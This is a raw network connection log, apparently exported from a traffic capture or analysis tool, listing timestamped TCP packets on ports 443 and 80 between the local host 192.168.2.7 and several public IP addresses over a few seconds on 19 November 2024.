Nov 19, 2024 20:05:38.697470903 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.704857111 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.705077887 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.705128908 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.705173016 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.705209970 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.707962990 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.708542109 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.708601952 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.715358019 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.715379953 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.715398073 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.715404034 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.773344040 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.773381948 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.773400068 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.773407936 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.787650108 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.787682056 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.787833929 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.808367968 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:38.808418989 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:38.808470011 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:38.809173107 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:38.809191942 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:38.832067966 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.832148075 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.832221031 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.833118916 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.833159924 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.889293909 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.889331102 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.452219009 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.455703020 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.459337950 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.472398996 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.500787020 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.500808001 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.501302004 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.501307011 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.502470970 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.502505064 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.506700039 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.506735086 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.506740093 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.507186890 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.507194996 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.508008003 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.508012056 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.509020090 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.509057045 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.509480953 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.509490967 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.571971893 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.575193882 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.591478109 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.591507912 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.592628002 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.592704058 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.597332001 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.597556114 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.597634077 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.613903046 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.613980055 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614094019 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614118099 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614125967 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.614167929 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614172935 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614217043 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.614228964 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614248991 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.614269972 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.614305019 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.672861099 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.702038050 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.702194929 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.702328920 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.743325949 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.749778986 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.749802113 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.750219107 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.750226021 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.750580072 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.750592947 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.753101110 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.753123999 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.753138065 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.753144026 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.757973909 CET	52413	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.757991076 CET	443	52413	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.759099960 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.759130001 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.759145975 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.759155035 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.776360989 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.776390076 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.783252001 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.783292055 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.783360004 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.786258936 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.786297083 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.786942005 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.799426079 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.799467087 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.799669981 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.811918020 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.811964989 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.812094927 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.840723038 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.840768099 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.840823889 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.840850115 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.842680931 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.842705965 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.842828035 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.842865944 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.858787060 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.859721899 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.860183001 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.860409021 CET	52417	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.860471010 CET	443	52417	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.868603945 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:39.870949984 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.917329073 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.917376995 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.917645931 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.919148922 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:39.919164896 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:39.934390068 CET	52416	443	192.168.2.7	94.245.104.56
Nov 19, 2024 20:05:39.934413910 CET	443	52416	94.245.104.56	192.168.2.7
Nov 19, 2024 20:05:40.476958990 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.506908894 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.517291069 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.518069029 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.554373026 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.582269907 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.582277060 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.584872961 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.584877968 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.763336897 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.763381004 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.813690901 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.813699007 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.814188004 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.814192057 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.814223051 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.814244986 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.814623117 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.814630032 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.814765930 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.814850092 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.814850092 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.814877033 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.816977978 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.816992044 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.817192078 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.817209005 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.818201065 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.818216085 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.818660975 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.818665028 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.909993887 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.910418987 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.910551071 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.911712885 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.911839962 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.911895037 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.913599968 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.914391041 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.914441109 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.914488077 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.914525032 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.917983055 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.918184996 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.918245077 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.919240952 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.919547081 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.919677973 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.936172962 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:40.936187983 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:40.936569929 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:40.937047005 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:40.937061071 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:40.937926054 CET	52424	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.937935114 CET	443	52424	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.937946081 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.937949896 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.937964916 CET	52426	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.937968969 CET	443	52426	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.939580917 CET	52425	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.939583063 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.939600945 CET	443	52425	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.939610958 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.939630985 CET	52422	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.939635992 CET	443	52422	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.944152117 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.944165945 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.944195986 CET	52423	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.944200993 CET	443	52423	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.964582920 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.964622974 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.964716911 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.968864918 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.968877077 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.973469973 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.973509073 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.973670006 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.974473000 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.974486113 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.974668980 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.974721909 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.974737883 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.976983070 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.976998091 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.977118969 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.977262974 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.977272987 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.979363918 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.979388952 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.979557037 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.979566097 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.979588032 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.981164932 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:40.981173992 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:40.986500025 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:40.986645937 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:41.013745070 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.013786077 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:41.013952971 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.015572071 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.015587091 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:41.625291109 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.626323938 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.629653931 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.629681110 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.630175114 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.630179882 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.630810022 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.630821943 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.631233931 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.631237984 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.642172098 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.642731905 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.642749071 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.643860102 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.643867016 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.644433975 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.644839048 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.644874096 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.645095110 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.645100117 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.693358898 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:41.694094896 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:41.694123983 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:41.695368052 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:41.695574045 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:41.697068930 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:41.697149038 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:41.714154005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:41.714155912 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:41.719089985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:41.719130039 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:41.719185114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:41.725204945 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.725574017 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.725646973 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.730618954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:41.730684042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:41.731101990 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.731101990 CET	52443	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.731122971 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.731134892 CET	443	52443	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.732075930 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.732414007 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.732584000 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.735479116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:41.735537052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:41.735696077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:41.735723972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:41.746408939 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.746926069 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.746969938 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.746983051 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.747018099 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.747771025 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.748003006 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.748048067 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.748054028 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.748101950 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.748238087 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.748238087 CET	52441	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.748256922 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.748265982 CET	443	52441	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.749514103 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.749541998 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.749728918 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.758038998 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.758053064 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.758064032 CET	52444	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.758069992 CET	443	52444	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.759903908 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.759932041 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.759947062 CET	52442	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.759953022 CET	443	52442	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.762221098 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.762236118 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.768398046 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.768459082 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.768589020 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.768824100 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.768852949 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.783118963 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:41.783138990 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:41.784729958 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.784748077 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.784801960 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.787492990 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.787523985 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.787578106 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.787983894 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.788000107 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.788573027 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:41.788585901 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:41.813332081 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:41.813410044 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.887326956 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.887342930 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:41.888458967 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:41.890645027 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.895015001 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:41.895060062 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:41.973141909 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:42.279915094 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:42.279994965 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:42.280041933 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:42.371707916 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:42.371726990 CET	443	52445	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:42.371738911 CET	52445	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:42.371747017 CET	443	52445	20.190.160.22	192.168.2.7
